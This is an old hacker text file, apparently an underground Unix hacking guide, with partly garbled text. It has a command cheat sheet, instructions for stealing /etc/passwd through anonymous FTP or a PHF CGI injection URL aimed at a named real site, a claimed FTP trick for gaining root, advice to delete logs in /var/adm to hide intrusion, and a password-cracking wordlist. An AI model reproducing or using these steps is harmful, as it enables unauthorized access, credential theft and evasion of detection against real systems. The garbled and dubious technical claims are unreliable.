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From: NL1SMS@NL3NW.ZH.NLD.EU
To  : HACK@NLD

free mem			avail

pwd			cd			cd

passwd			NOTHING			NOTHING

cp			copy			copy

alias			NOTHING			alias

jobs			NOTHING			Process

ps			NOTHING			Process

 &		NOTHING			run

PS1,Set prompt		Set Prompt		Prompt

sort			sort			sort

passwd			NOTHING			NOTHING

help			help			NOTHING







LS:
easy to understand

CAT:
cat 

CHMOD :
chmod augo+-rwx 

example: Chmod ugo+rw /etc/passwd
every user on the system can read the file now.

CD: 
easy to understand

MKDIR:
mkdir 

RMDIR:
rmdir 

RM:
rm -i 

MV: 
mv  
or
mv  

TAR: 

tar cv 
to packdown

tar xv  
to extract

SU:

su 

LOGIN:
Just write "login" to relogin

LOGOUT:
Just write "logout" to exit

FTP:
ftp 
self explaining

TELNET:
telnet 

VI:
vi 

SH:
start new Shell.

XINIT:
self explaining

FREE:
shows avaiable memory

PWD:
show current directory

PASSWD:
self explaining

CP:
cp  

ALIAS:
alias =""
or
alias  ""

ex:

alias xinit "x"

now you can write X instead of xinit.

JOBS:
show jobs.

PS:
show processes running

 &:
run program in the background

PS1:

ps1=""
or
set prompt ""

SORT:
self explaining

PASSWD:
change password

HELP:
shows you a help file.

( Instead of reading this list of commands when you want to learn unix )
( borrow "inside unix" or "the linux bible" at your local library      )

C4


    _       _       _       _
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(:(:(:(:(:(:(:(:(:(:(:(:(:(:(:(:):):):):):):):):):):):):):):):):):):):):):)
HOW TO GET IN:





So, now were here. there are many ways to hack your self in to a unix system 
the best and safest way is to just sitt down and start looking after users.
ok, i guess you wonder, How should i do that???
Oki. Never mind. 

Getting Login Names and passwords:
On UNIX systems the file that contains the passwords for all the userson the
system is located in the /etc directory. The filename is passwd. I betyour
thinking...."Great. All I have to do is get the file called /etc/passwdand
I'll be a hacker." If th
t is what you are thinking then you are deadwrong. All the accounts in the
passwd file have encrypted passwords. Thesepasswords are one-way encrypted
which means that there is no way to decryptthem. However, there are programs
that can be used to obta
n passwords fromthe file. 
Such programs uses a dictionary file composed
of thousands of words. they compares the encrypted forms of the words in
thelist t passwd file and it notifies you whenit finds a match. 
One wordlist can be found at the end of this file.

That was the easy part. Now to the hard part.
the system administrator has a file that has passwords 
for everyone on his or her
system, and they are not going to just give it to you. 
You have to have a way to retrieve the /etc/passwd 
file without logging into the system. There are 2
simple ways that this can sometimes be accomplished. Often the /etc directory
is not blocked from FTP. To get the passwd file this way try using an FTP
client to access the site anonymously then check the /etc directory to see if
 it is not restricted then download
the file and run Cracker Jack on it. If it is restricted then try plan B. On
some systems there is a file called "PHF" in the /cgi-bin directory. If there
is then you are in luck. PHF allows users to gain remote-access to files
(including the /etc/passwd file) over the www. To try this method
goto your web browser and type in this URL:
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Then substitute the site you are trying to hack for the xxx.xxx.xxx.
For example, if I wanted to hack Geocities (and I have already) 
I would type in 
http://www.geocities.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

(I enyoy geocities lame security flaw :) )

If the preceding to methods fail then try any way you can think of to get that
file. If you do get the file and all the items in the second field are X or !
or * then the password file is shadowed. Shadowing is just a method of adding
extra security to prevent hackers and other unwanted people from using the
password file. Unfortunately there is no way to "unshadow" a password file
but sometimes there are backup password files that aren't shadowed. Try
looking for files such as /etc/shadow and other stuff like that.
If that's the case i can't help you :(.

C5

			HOW TO GET ROOT ACCESS

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If your lucky, you got the root password when you decrypted the /etc/passwd.
But if you didnt, here is a tip how you could do.

Login with an user account at the system you want to gain root access at.
write this at the prompt. 

ftp 

Server wants you to enter login name: press enter
Server wants you to enter password  : press enter
at the prompt type.

quota user ftp

then type

quota cwd ~root

then type

quota pass ftp

Done! :)

Now delete the logfile so they cant see you where online.
the logfiles lies in /var/adm

This DOES work at older systems like universities runns.
It may work with linux allso , (i have not tried it yet on linux)

C9

				WORDLIST

      aaa                daniel             jester             rascal
      academia           danny              johnny             really
      ada                dave               joseph             rebecca
      adrian             deb                joshua             remote
      aerobics           debbie             judith             rick
      airplane           deborah            juggle             reagan
      albany             december           julia              robot
      albatross          desperate          kathleen           robotics
      albert             develop            kermit             rolex
      alex               diet               kernel             ronald
      alexander          digital            knight             rosebud
      algebra            discovery          lambda             rosemary
      alias              disney             larry              roses
      alpha              dog                lazarus            ruben
      alphabet           drought            lee                rules
      ama                duncan             leroy              ruth
      amy                easy               lewis              sal
      analog             eatme              light              saxon
      anchor                   scheme
      andy               edwin              louis              scott
      andrea             egghead            lynne              scotty
      animal             eileen             mac                secret
      answer             einstein           macintosh          sensor
      anything           elephant           mack               serenity
      arrow              elizabeth          maggot             sex
      arthur             ellen              magic              shark
      asshole            emerald            malcolm            sharon
      athena             engine             mark               shit 
      atmosphere         engineer           markus             shiva
hus            enterprise         marty              shuttle
      badass             enzyme             marvin             simon
      bailey             euclid             master             simple
      banana             evelyn             maurice            singer
      bandit             extension          merlin             single
      banks              fairway            mets               smile
      bass               felicia            michael            smiles
      batman             fender             michelle           smooch
      beauty             fermat             mike               smother
      beaver             finite             minimum            snatch
      beethoven          flower             minsky             snoopy
      beloved            foolproof          mogul              soap
      benz               football           moose              socrates
      beowulf            format             mozart             spit
      berkeley           forsythe           nancy              spring
      berlin             fourier            napoleon           subway
      beta               fred               network            success
      beverly            friend             newton             summer
      bob                frighten           next               super
      brenda             fun                olivia             support
      brian              gabriel            oracle             surfer
      bridget            garfield           orca               suzanne
      broadway           gauss              orwell             tangerine
      bumbling           george             osiris             tape
      cardinal           gertrude           outlaw             target
      carmen             gibson             oxford